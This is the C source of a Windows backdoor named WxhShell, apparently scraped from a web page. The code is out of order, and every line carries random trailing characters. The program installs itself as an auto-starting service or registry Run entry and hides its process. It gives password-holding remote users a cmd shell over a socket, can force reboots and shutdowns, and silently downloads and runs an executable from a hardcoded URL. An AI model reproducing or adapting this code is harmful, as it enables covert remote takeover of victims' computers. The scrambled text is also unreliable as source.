    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]5' d&f  
    if(Boot(SHUTDOWN)) -Fxmsi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =bLY /  
    else { `S3>3  
    closesocket(wsh);  z [C3  
    ExitThread(0); 1D F/6y  
    } Ql%qQ ZV  
    break; n_Onr0EvO  
    } c0_E_~  
  // 获取shell V5mlJml2(  
  case 's': { `]=oo%(h  
    CmdShell(wsh); vi!YN|}\  
    closesocket(wsh); ['q&@_d7  
    ExitThread(0); c3)C{9T](  
    break; AQss4[\Dx  
  } } fZ`IOf  
  // 退出 h5"Ov,K3[  
  case 'x': { ibpzeuUl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,qQG;w,m  
    CloseIt(wsh); #Yuvbb[  
    break; geM6G$V&  
    } RO&H5m r%@  
  // 离开 ^ B/9{0n'  
  case 'q': { 4-R^/A0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N@xg:xr  
    closesocket(wsh); -.IEgggf  
    WSACleanup(); g5Z#xszj+  
    exit(1); !TKkec8$  
    break; 1u|V`J)0  
        } t *G/]  
  } B=Ym x2A9]  
  } . ]@=es  
2HD]?:Fk7  
  // 提示信息 WG7k(Sp ]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pZ(Fx&fy  
} +nL+ N  
  } D)@XoM(  
 k5`OH8G  
  return; $HJTj29/  
} {Qv>q$Q  
;eL9{eF  
// shell模块句柄 "*z_O  
int CmdShell(SOCKET sock) @U{<a#  
{ :hRs`=d"r  
STARTUPINFO si; &a,OfSz  
ZeroMemory(&si,sizeof(si)); 5 2_#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a4 MZ;5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r?/A?DMe  
PROCESS_INFORMATION ProcessInfo; TUIk$U?/I  
char cmdline[]="cmd"; 1f'Hif*r_X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wg`AZ=t  
  return 0; tK(g-u0N`(  
} ^|!I +  
c{+AJ8  
// 自身启动模式 }8-\A7T  
int StartFromService(void) ? "/ fPV-  
{ Iu@y(wyg  
typedef struct -r7]S  
{ SqA J-_~  
  DWORD ExitStatus; A{eLl  
  DWORD PebBaseAddress; +rXF{@ l  
  DWORD AffinityMask; sP@X g;]  
  DWORD BasePriority; b5G}3)'w  
  ULONG UniqueProcessId; 6 K` c/)  
  ULONG InheritedFromUniqueProcessId; cO2& VC  
}   PROCESS_BASIC_INFORMATION; U69u'G:  
fBn"kr;  
PROCNTQSIP NtQueryInformationProcess; 4Y> Yi*n  
d[ >`")2)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g*UMG>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;< jbLhHwD  
Yap?^&GV  
  HANDLE             hProcess; G!N{NCq  
  PROCESS_BASIC_INFORMATION pbi; RyJ 1mAC  
A - YBQPE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *^\HU=&  
  if(NULL == hInst ) return 0; X~=xXN.  
z4#(Ze@u~_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !" #9<~Q,p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <h).fX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PNOGN|D  
"\W-f  
  if (!NtQueryInformationProcess) return 0; =J-5.0Q\_\  
6lwta`2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]uj=:@  
  if(!hProcess) return 0; &3F}6W6A  
D_mL,w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7?8wyk|x  
{5r0v#;  
  CloseHandle(hProcess); >T2LEW  
.d;Iht,[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ V08U!  
if(hProcess==NULL) return 0; 9Jf)!o8  
i,A#&YDl  
HMODULE hMod; le+R16Z  
char procName[255]; 0P^L}VVX  
unsigned long cbNeeded; u]NZ`t%AP  
=*qD4qYA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {rfF'@[  
DS-0gVYeDW  
  CloseHandle(hProcess); ?[<Tx-L  
j"^ +oxH  
if(strstr(procName,"services")) return 1; // 以服务启动 znJhP}(  
/={Js*  
  return 0; // 注册表启动 j*"3t^|-  
} &8&d3EQ  
}G o$ \Bk  
// 主模块 vb 1@yQ  
int StartWxhshell(LPSTR lpCmdLine) Z=B_Ty  
{ 1g# #sSa6  
  SOCKET wsl; b`yZ|j'ikd  
BOOL val=TRUE; SK1!thQy  
  int port=0; b*a2,MiM  
  struct sockaddr_in door; |Fm6#1A@  
BqDKT  
  if(wscfg.ws_autoins) Install(); 4n#ov=)-~  
iv`O /T  
port=atoi(lpCmdLine); }+o:j'jB  
 [,n c  
if(port<=0) port=wscfg.ws_port; ~DRmON5 M  
"mL++>ZSQ  
  WSADATA data; |@,|F:h<M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NK|?y  
/525w^'pd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p4IZ   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t }IkK=f  
  door.sin_family = AF_INET; ZyOv.,y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); du$|lxC  
  door.sin_port = htons(port); W$U0[^1  
RLlU" sw+{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,B4VT 96*  
closesocket(wsl); 6sIL.S~c)  
return 1; PB%-9C0  
} X[#zCM  
M8H5K  
  if(listen(wsl,2) == INVALID_SOCKET) { +^*iZ6{+7  
closesocket(wsl); P%)gO  
return 1; 5@*'2rO&!  
} Hf'G8vW  
  Wxhshell(wsl); (~zd6C1.  
  WSACleanup(); K{n{KB&_&  
m9U"[Huv1E  
return 0; G?f\>QSZ  
q$1PG+-  
} ]yjl~3  
?JL7=o X  
// 以NT服务方式启动 J=.`wZQkS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ^p n(=4  
{ tiN?/  
DWORD   status = 0; b:qY gg  
  DWORD   specificError = 0xfffffff; ^[%%r3"$C  
V8eB$in  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S'oGt&Z<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D\<y)kh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8/)qTUx:  
  serviceStatus.dwWin32ExitCode     = 0; Ii7QJ:^  
  serviceStatus.dwServiceSpecificExitCode = 0; *[=bR>  
  serviceStatus.dwCheckPoint       = 0; "V{yi!D{<  
  serviceStatus.dwWaitHint       = 0; .jy]8S8[|%  
yj4+5`|f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *yl>T^DjTC  
  if (hServiceStatusHandle==0) return; hOhS)  
7'NwJ,$6\  
status = GetLastError(); *6xgctk  
  if (status!=NO_ERROR) cA6lge<{~  
{ Vh}SCUof'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x0 d~i!d  
    serviceStatus.dwCheckPoint       = 0; 9qS"uj  
    serviceStatus.dwWaitHint       = 0; uKgZ$-'  
    serviceStatus.dwWin32ExitCode     = status; lL]y~u  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4&/j|9=X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L[5=h  
    return; d #jK=:eK  
  } Z|RY2P>E  
?g!V!VS2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iH^z:%dP  
  serviceStatus.dwCheckPoint       = 0; -,K!  
  serviceStatus.dwWaitHint       = 0; q80S[au  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); drs B/  
} -W,}rcj*|  
(C]o,7cYS  
// 处理NT服务事件,比如:启动、停止 29XL$v],  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ? FfC  
{ wP"dZagpj  
switch(fdwControl) Qr  Wj>uR  
{ ie-vqLc  
case SERVICE_CONTROL_STOP: zE;bBwy&  
  serviceStatus.dwWin32ExitCode = 0; Be+0NXLVy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %e*@CbO$  
  serviceStatus.dwCheckPoint   = 0; v&Kqq!DE  
  serviceStatus.dwWaitHint     = 0; !mXxAo  
  { }w4QP+ x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \M'-O YH_[  
  } gWY "w!f  
  return; m7T)m0  
case SERVICE_CONTROL_PAUSE: h*ZC*eV>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fib}b? vk  
  break; 3> /K0N|$  
case SERVICE_CONTROL_CONTINUE: 5q "ON)x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +2 Af&~T  
  break; _)]CzBRq\6  
case SERVICE_CONTROL_INTERROGATE: !x'/9^i~v  
  break; |lv|!]qAma  
}; XD"_Iq!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G%d (  
} ')GSAY7  
.f+TZDUO  
// 标准应用程序主函数 )E+'*e{cK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %'0T Xr$  
{ # p[',$cC  
ah~Y eJp  
// 获取操作系统版本 ,^icPQSwc  
OsIsNt=GetOsVer(); MQin"\  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  @3kKJ  
{}:ToIp  
  // 从命令行安装 $['Bv  
  if(strpbrk(lpCmdLine,"iI")) Install(); \=>H6x]q  
^k<o T'89  
  // 下载执行文件 %/updw#{B  
if(wscfg.ws_downexe) { LkQX?2>]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O9:U8$*  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ali9pvE  
} y!]CJigpZ  
A=Ss6 -Je  
if(!OsIsNt) { trE{FT  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZcYh) HD  
HideProc(); :T9< d er,  
StartWxhshell(lpCmdLine); %u;~kP|S%  
} z2Z^~, i  
else 7=(Hy\Q5xH  
  if(StartFromService()) a'\o 7_  
  // 以服务方式启动 Mfv1Os:ST  
  StartServiceCtrlDispatcher(DispatchTable); 41SGWAd#:  
else ? R>h `  
  // 普通方式启动 fU!<HD h  
  StartWxhshell(lpCmdLine); <oz!H[!  
zRPeNdX  
return 0; vB+ '  
} .CFa9"<  
Ao/ jt<  
|g *XK6  
2U-3Q]/I}  
=========================================== 4 {9B9={  
awz;z?~  
N<DGw?Rl  
jbR0%X2  
E\C9|1)  
K(q-?n`<  
" *YlV-C<}W"  
>$2V%};  
#include <stdio.h> "le>_Ze_>|  
#include <string.h> p0pWzwTG3  
#include <windows.h> @}kv-*  
#include <winsock2.h> xC tmXo  
#include <winsvc.h> E }ZJ)V7  
#include <urlmon.h> A2|Ud_  
)Y)pmjZaG  
#pragma comment (lib, "Ws2_32.lib") xp Og8u5  
#pragma comment (lib, "urlmon.lib")  }K3x  
>a}f{\Q  
#define MAX_USER   100 // 最大客户端连接数 @/ k@WhFZ  
#define BUF_SOCK   200 // sock buffer 5ms""LD/  
#define KEY_BUFF   255 // 输入 buffer S%`0'lzzj  
(T2m"Yi:  
#define REBOOT     0   // 重启 XQS9,Hl  
#define SHUTDOWN   1   // 关机 Zv#Ll@v  
!A%<#Gjt  
#define DEF_PORT   5000 // 监听端口 rylzcN9RM$  
M}!2H*  
#define REG_LEN     16   // 注册表键长度 PiA0]>  
#define SVC_LEN     80   // NT服务名长度 Q~T$N  
{P*m;a`}  
// 从dll定义API |7zd%!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nMJ#<'v^!2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P+$:(I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o*J3C>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )wNP( @$L  
QVtQx>K`  
// wxhshell配置信息 9V5-%Iv  
struct WSCFG { ooQQ-?"m  
  int ws_port;         // 监听端口 NC38fiH_N  
  char ws_passstr[REG_LEN]; // 口令 7.`fJf?  
  int ws_autoins;       // 安装标记, 1=yes 0=no db6mfx i  
  char ws_regname[REG_LEN]; // 注册表键名 1/"WD?a  
  char ws_svcname[REG_LEN]; // 服务名 rdJR 2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s-v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &?(?vDFfZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +>PX&F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6 :~v4W!k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )P+7PhE{J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !50[z:  
& \f{E\A#  
}; $*?,#ta  
)6aAB|  
// default Wxhshell configuration r9dyA5oD  
struct WSCFG wscfg={DEF_PORT, ow]053:i  
    "xuhuanlingzhe", MNV % =G  
    1, Gh}*q|Lz  
    "Wxhshell", ukUGvK  
    "Wxhshell", v\{!THCSh  
            "WxhShell Service", vuYSVI2=H  
    "Wrsky Windows CmdShell Service", O6OP =K!t:  
    "Please Input Your Password: ", F|!){=   
  1, 1@-Ns  
  "http://www.wrsky.com/wxhshell.exe", <%" b9T`'  
  "Wxhshell.exe" hq #?kN  
    }; \o^2y.q:>  
j*vYBGD  
// 消息定义模块 #Q /Arq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sQ\8>[]   
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Em,*!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^N)R=tl  
char *msg_ws_ext="\n\rExit."; gdQvp=v]  
char *msg_ws_end="\n\rQuit."; zOiu5  
char *msg_ws_boot="\n\rReboot..."; 1Yn +<I  
char *msg_ws_poff="\n\rShutdown..."; S.f5v8  
char *msg_ws_down="\n\rSave to "; Pjc Tx +  
.qZI$ l .  
char *msg_ws_err="\n\rErr!"; f=9|b  
char *msg_ws_ok="\n\rOK!"; qXwPDq/  
&mx)~J^m  
char ExeFile[MAX_PATH]; Dg?:/=,=9r  
int nUser = 0; v'3J.?N  
HANDLE handles[MAX_USER]; .yEBOMNZ  
int OsIsNt; 7yh /BZ1  
aSnF KB  
SERVICE_STATUS       serviceStatus; eYvWZJa4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 55fC~J<  
^=-y%kp"  
// 函数声明 Sb82}$sO  
int Install(void); {.INnFGP@)  
int Uninstall(void); nX`u[ks  
int DownloadFile(char *sURL, SOCKET wsh); ] @u6HH~^  
int Boot(int flag); RtM8yar+sn  
void HideProc(void); Ug<#en  
int GetOsVer(void); (:> ,u*x%  
int Wxhshell(SOCKET wsl); m*kl  
void TalkWithClient(void *cs); 1bn^.768l  
int CmdShell(SOCKET sock); \}|o1Xh2  
int StartFromService(void); k5kxQhPf  
int StartWxhshell(LPSTR lpCmdLine); |0f>aZ  
r<d_[?1N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4.5|2 \[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gK'1ZLdZ2  
  #^A*  
// 数据结构和表定义 c$yk s  
SERVICE_TABLE_ENTRY DispatchTable[] = CTZ8Da^  
{ O*FUTZd(J  
{wscfg.ws_svcname, NTServiceMain}, 7x%R:^*4  
{NULL, NULL} LHo3 Niy.  
}; g0["^P1tV  
:BV6y|J9O^  
// 自我安装 B e0ND2oo  
int Install(void) _dhgAx-H)h  
{ #;2n;.a  
  char svExeFile[MAX_PATH]; ,tu.2VQc@  
  HKEY key; b?lD(fa&  
  strcpy(svExeFile,ExeFile); =h5H~G5AT  
]z/8KL  
// 如果是win9x系统,修改注册表设为自启动 oV|4V:G q  
if(!OsIsNt) { \6Zr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [rV>57`YD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4p,EBn9(  
  RegCloseKey(key); '|8} z4/g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GE%Z9#E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P 'od`  
  RegCloseKey(key); hFy;ffs.  
  return 0; DrY:9[LP  
    } ]Hefm?9*^  
  } j~jV'f.:H  
} =*c7i]@}  
else { .7avpOfz  
#PH~1`vl  
// 如果是NT以上系统,安装为系统服务 IS&ZqE(`e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NUWDc]@J*  
if (schSCManager!=0) =k^Y?.  
{ p o2!  
  SC_HANDLE schService = CreateService %D%8^Zd_  
  ( a C\MJ9  
  schSCManager, OX?\<),  
  wscfg.ws_svcname, ij(B,Y  
  wscfg.ws_svcdisp, TU,s*D&e  
  SERVICE_ALL_ACCESS, m!tbkZHQn0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m4hg'<<V  
  SERVICE_AUTO_START, 7>))D'l57  
  SERVICE_ERROR_NORMAL, b)qoh^  
  svExeFile, Ch|jtVeuyJ  
  NULL, f$Fhf ?'  
  NULL, R5 - @  
  NULL, P"IPcT%Ob%  
  NULL, %u5L!W&  
  NULL CFMo)"  
  ); RbP6F*f  
  if (schService!=0) '}Z~JYa0  
  { sHt].gZ  
  CloseServiceHandle(schService); y[)>yq y  
  CloseServiceHandle(schSCManager); ?R$F)g7<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qzKdQ&vO  
  strcat(svExeFile,wscfg.ws_svcname); Uyg5i[&X@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aJbO((%$|u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8m\7*l^D:  
  RegCloseKey(key); 0uOkMuy<  
  return 0; rrBsb -  
    } xSsa(b  
  } v4`"1Ss,K  
  CloseServiceHandle(schSCManager); AQ,' 6F9  
} '$ =>  
} Mh:L$f0A%O  
l3Q(TH~I  
return 1; #*K}IBz  
} 8<pzb}xK  
p6#g;$V$  
// 自我卸载 i1NY9br  
int Uninstall(void) D%OQ e#!  
{ r%yvOF\>  
  HKEY key; ~=6xyc/c  
+eK"-u~K  
if(!OsIsNt) { aW)-?(6>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mD$A4Y-'p  
  RegDeleteValue(key,wscfg.ws_regname); >~[c|ffyo/  
  RegCloseKey(key); H8Bs<2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `>f6) C-  
  RegDeleteValue(key,wscfg.ws_regname); (:TjoXXiY  
  RegCloseKey(key); ODNM+#}`  
  return 0; Zw5Ni Xj  
  } F4}]b(L  
} Z<1FSk,[  
} "U>JM@0DNm  
else { 4:$4u@   
QwJV S(Gs4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N kb|Fd/s  
if (schSCManager!=0) G'Q-An%z  
{ fTS5 yb%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  *'.|9W  
  if (schService!=0) `scR*]f1+  
  { #~}nFY.  
  if(DeleteService(schService)!=0) { Wu c S:8#|  
  CloseServiceHandle(schService); ZM !CaR  
  CloseServiceHandle(schSCManager); 9kN}c<o  
  return 0; B(LWdap~  
  } ~:kZgUP_f  
  CloseServiceHandle(schService); 42{Ew8  
  } mZtCL  
  CloseServiceHandle(schSCManager); #%iDT6  
} eL10Q(;P`  
} 3G,Oba[$<  
[YF>:ydk  
return 1; nBjqTud  
} [R(`W#W  
Y!~49<;  
// 从指定url下载文件 $+8cc\fq  
int DownloadFile(char *sURL, SOCKET wsh) Pk{_(ybaY  
{ =9y[1t  
  HRESULT hr; LSa,1{  
char seps[]= "/"; p4.wh|n  
char *token; Se :.4<  
char *file; 2,$8icM  
char myURL[MAX_PATH]; Cc+t}"^  
char myFILE[MAX_PATH]; ,&]S(|2%>t  
H*RC@O_hv  
strcpy(myURL,sURL); 0%9 q8 M;  
  token=strtok(myURL,seps); >Wm `v.-  
  while(token!=NULL) q8X feoUV  
  { ]fx"4qKM  
    file=token; T*8VDY7  
  token=strtok(NULL,seps); >BIMi^  
  } f=(?JT  
q@QksAq  
GetCurrentDirectory(MAX_PATH,myFILE); Y_;#UU689  
strcat(myFILE, "\\"); tvkb~  
strcat(myFILE, file); B6u/mo<  
  send(wsh,myFILE,strlen(myFILE),0); \rx3aJl  
send(wsh,"...",3,0); *xx'@e|<;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X[*<NN  
  if(hr==S_OK) 0Is,*Srr  
return 0; a]JYDq`,3  
else BWeA@v  
return 1; [pC$+NX  
J`peX0Stl  
} 3 R=,1<  
`YFtL  
// 系统电源模块 4x {0iav  
int Boot(int flag) ~bM4[*Q7  
{ wxR,OR  
  HANDLE hToken; 0LPig[  
  TOKEN_PRIVILEGES tkp; WZ-s--n#  
0t^M3+nc  
  if(OsIsNt) { ?J%1#1L"/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B-?6M6#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yCd-9zb=  
    tkp.PrivilegeCount = 1; *rM^;4Zt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,0~^>K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G"-?&)M#a  
if(flag==REBOOT) { (7mAt3n k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (|[2J3ZET  
  return 0; @oNH@a j%  
} *?5*m+  
else { ;X8yFq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EY^1Y3D w0  
  return 0; opY@RJ]  
} gFeO}otm  
  } kW2sY^Rg  
  else { N+m)/x =:  
if(flag==REBOOT) { nGpXI\K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3C?f(J}  
  return 0; xHUsFm s  
} `n#H5Oyn  
else { Pj#<K%Bz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gy9$wH@8  
  return 0; ]mo-rhDsM  
} eK6hS_E  
} Fz3fwLawI  
$Z!`Hb  
return 1; "W=AB&  
} u8gS< \  
KK1 gNC4R  
// win9x进程隐藏模块 bV(Y`g  
void HideProc(void) O}+.U<V  
{ NO~*T?&  
T_i:}ul  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1{r3#MVL  
  if ( hKernel != NULL ) -(~.6WnhS  
  { [="e ziM{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h hG4-HD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J4QXz[dG  
    FreeLibrary(hKernel); 931bA&SL=/  
  } %=n!Em(  
`Bo*{}E  
return; N^#ZJoR  
} V^7V[(~`  
bt"W(m&f  
// 获取操作系统版本 Ov};e  
int GetOsVer(void) Z,RzN5eN  
{ O ,J>/  
  OSVERSIONINFO winfo; 8J=? 5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .Obw|V-  
  GetVersionEx(&winfo); udxFz2>_l$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J5di[nu  
  return 1; gi(H]|=a  
  else NgADKrDU  
  return 0; t0/p]=+.p/  
} =q>'19^Jx  
>/:" D$  
// 客户端句柄模块 JI?rL  
int Wxhshell(SOCKET wsl) I, -hf=-  
{ VLS0XKI)  
  SOCKET wsh; ;Yx)tWQI  
  struct sockaddr_in client; 8}c$XmCM  
  DWORD myID; ?{\nf7Y  
^$%S &W  
  while(nUser<MAX_USER) M9Cv wMi  
{ ZW-yP2  
  int nSize=sizeof(client); ]=.\-K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?i)f^O  
  if(wsh==INVALID_SOCKET) return 1; l,R/Gl  
XxT#X3D/,"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qd9cI&  
if(handles[nUser]==0) vqnw#U4`  
  closesocket(wsh); Ipf|")*  
else !,l9@eJQ  
  nUser++; m#8m] Y  
  } c|lu&}BS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Y)vGlWDW<  
tkVbo.[8K  
  return 0; pA`+hQNN  
} nA?`BOe(  
hhSy0  
// 关闭 socket XUM!Qv  
void CloseIt(SOCKET wsh) VcAue!MN  
{ *YW/_  
closesocket(wsh); &K[_J  
nUser--; 3t`P@nL0;  
ExitThread(0); J c g,#@  
} _,zA ^*b  
_]04lGx27  
// 客户端请求句柄 Scp7X7{N  
void TalkWithClient(void *cs) /,1D)0  
{ \X<bH&x:z  
e`@ # *}A  
  SOCKET wsh=(SOCKET)cs; T:t]"d}}  
  char pwd[SVC_LEN]; 4FEk5D  
  char cmd[KEY_BUFF]; VOKZ dC-  
char chr[1]; O>qll 6]{@  
int i,j; `D>S;[~S7  
~Cl){8o  
  while (nUser < MAX_USER) { #OBJzf*p  
6S\C}U/   
if(wscfg.ws_passstr) { >C7r:%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xgABpikC^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rE i Ki  
  //ZeroMemory(pwd,KEY_BUFF); ~oI1 zNz/  
      i=0; 6^%UU o%  
  while(i<SVC_LEN) { LL]zT H0  
qgE 73.!`6  
  // 设置超时 wDcj,:h`  
  fd_set FdRead; 4S,`bnmB  
  struct timeval TimeOut; ^cV;~&|.Xk  
  FD_ZERO(&FdRead); EM]s/LD@%  
  FD_SET(wsh,&FdRead); Acnl^x7Y1  
  TimeOut.tv_sec=8; aF)1Nm[  
  TimeOut.tv_usec=0; GRGzP&}@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^sa#8^,K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nFE4qm  
MA;1 ;uI,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g$( V^  
  pwd=chr[0]; qi;f^9M%  
  if(chr[0]==0xd || chr[0]==0xa) { OH;b"]  
  pwd=0; D0gZC  
  break; ~ }F{vm  
  }  =Qh\D  
  i++; NXwz$}}Pp  
    } W4hbK9y  
Z&0'a  
  // 如果是非法用户,关闭 socket N U|d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); , 3,gG "  
} .^N/peU q  
@[5xq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J%x6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xm%Um\Pb7  
=jlt5 z  
while(1) { VGtC)mG8)  
&Ts-a$Z7?S  
  ZeroMemory(cmd,KEY_BUFF); O_$m!5ug  
zV:pQRbt.  
      // 自动支持客户端 telnet标准   &$"i,~q^b  
  j=0; Xg<*@4RD8  
  while(j<KEY_BUFF) { Se HagKA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9l}FU$  
  cmd[j]=chr[0]; ZaeqOVp/j  
  if(chr[0]==0xa || chr[0]==0xd) { *_R]*o!W'  
  cmd[j]=0; [E+$?a=  
  break; HHiT]S9  
  } W- i&sUgy  
  j++; Z^V6K3GSz-  
    } N5*u]j  
+u!0rLb  
  // 下载文件 XS`M-{f`  
  if(strstr(cmd,"http://")) { s >e=?W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wi[~fI8^!  
  if(DownloadFile(cmd,wsh)) "J+3w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~2<7ZtV=  
  else ]d,S749(s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >2~+.WePu  
  } cs T2B[f9D  
